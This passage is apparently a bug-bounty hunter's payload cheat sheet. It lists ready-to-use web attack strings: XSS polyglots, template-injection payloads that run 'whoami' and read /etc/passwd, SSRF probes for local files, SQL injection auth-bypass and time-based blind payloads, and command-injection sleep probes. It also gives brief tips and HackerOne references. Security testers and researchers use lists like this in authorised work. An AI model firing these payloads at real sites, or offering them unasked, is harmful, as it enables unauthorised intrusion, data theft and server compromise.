Hello :) 148 | alert/**/(1)// instead of alert(1) 149 | https://www.youtube.com/channel/UCfEQwwHP5t-MFdF-647n79w?fuzzing" onload=alert(document.domain) x=" <--------- https://hackerone.com/reports/333008 150 | 151 | Cross Site Scripting: 152 | Reflected Parameters 153 | javascript:alert(1)// 154 | ">' -- 155 | ">' -- 156 | '>"> 157 | INJECTX'>">">'> 170 | ">>

" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> 171 | " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// 172 | '">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> 173 | javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* 174 | javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a 175 | javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ 176 | javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* 177 | javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* 178 | javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// 179 | javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* 180 | --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* 181 | /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* 182 | javascript://--></title></style></textarea></script><svg "//' onclick=alert()// 183 | /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* 184 | javascript://plus.google.com/?%0aalert%28document.domain%29 FRANS ROSEN https://labs.detectify.com/2015/06/06/google-xss-turkey/ 185 | 186 | https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md 187 | =================================================================================================== 188 | 189 | Server Side Template Injection: 190 | Backslash Powered Scanner 191 | 192 | {{4*4}}[[5*5]] <---- if we identify angularJS template engine running 193 | {{4+4}} 194 | {7*7} 195 | "></script>{{2*2}}${2*2} 196 | 7*7 197 | <%=`id`%> (ruby template engine) 198 | \x41 199 | {% import os %}{{ os.popen("whoami").read() }} 200 | {% import os %}{{ os.popen("cat /etc/passwd").read() }} 201 | 202 | =================================================================================================== 203 | 204 | Command Injection: 205 | sleep 5; sleep 5 || sleep 5 | sleep 5 & sleep 5 && sleep 5 206 | Backslash Powered Scanner 207 | 208 | =================================================================================================== 209 | SSRF: 210 | file :///asd 211 | file :///etc/passwd 212 | 127.0.0.1.xip.io 213 | If you cannot access any sensitive services via SSRF, try to access sensitive files or pages that require higher application level privileges: 214 | https://hackerone.com/reports/312647 215 | If SSRF is rendering the website you are pointing it to, see if you can point it to an XSS.html file that you host on your server: 216 | https://hackerone.com/reports/197902 217 | =================================================================================================== 218 | 219 | SQLi: 220 | Backslash Powered Scanner 221 | SQLipy 222 | Rule of thumb: What payloads trigger an error message or an HTTP 500? 223 | id=1‘ 224 | '" 225 | 1‘’ 226 | 1%cc‘ 227 | 1’-sleep(10)-’ 228 | +sleep(1)+ 229 | 1" 230 | 1"“ 231 | 1%cc” 232 | 1"-sleep(10)-” 233 | 1/1 234 | 1/0 235 | 1/sleep(10) 236 | 1\ 237 | admin" or "1"="1"-- 238 | admin' or '1'='1'-- 239 | /*'*/ 240 | '-sleep(100) -- <---- username field 241 | -sleep/*f*/(10) <------ integer item_id=111-sleep/*f*/(10) 242 | 243 | 244 | SQLi Fuzzing: 245 | Rule of thumb: What payloads trigger an error message or an HTTP 500? How does the baseline request compare with fuzzing request? Are the same results returned? 246 | Do the results of the query change after inserting these? If you get different results then you are probably modifying the query 247 | 248 | -- 249 | ' 250 | \' 251 | '%23 252 | '# 253 | ' -- 254 | -- ' (try commenting out the quote) 255 | # ' (try commenting out the quote) if query still works, then you just introduced sql comments into the query 256 | %23 ' (try commenting out the quote) 257 | %2527 (some servers will double URL decode) 258 | ) 259 | )) 260 | /*'*/ (try commenting out the quote) 261 | '' vs ''' (even vs odd number of quotes) 262 | id=460-5 (try subtracting) 263 | input) order by 5%23 264 | 2/*dhab bc*/OR/*dahdshka*/2/*sd*/LIKE/*da*/"2"/**/%23 265 | ' waitfor delay'00:00:10'-- - 266 | 267 | 268 | SQLi Polyglots: 269 | SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/ 270 | SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample 271 | IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/ 272 | 273 | SQLinjection in JSON: https://hackerone.com/reports/150156 274 | 275 | 276 | Blind SQLi 277 | ‘%2Bbenchmark(3200,SHA1(1))%2B’ 278 | ' or benchmark(10000000,md5(1))=' 279 | ‘+BENCHMARK(40000000,SHA1(1337))+’ 280 | 281 | Time/Blind Based SQLi: 282 | Check out "SQL Injection Time Based Payloads" 283 | https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/payloads-sql-blind 284 | =================================================================================================== 285 | 286 | RCE: 287 | page=1`sleep 10 288 | 1|sleep 10 289 | 1$(sleep 10) 290 | 1%0asleep 10%0a 291 | --------------------------------------------------------------------------------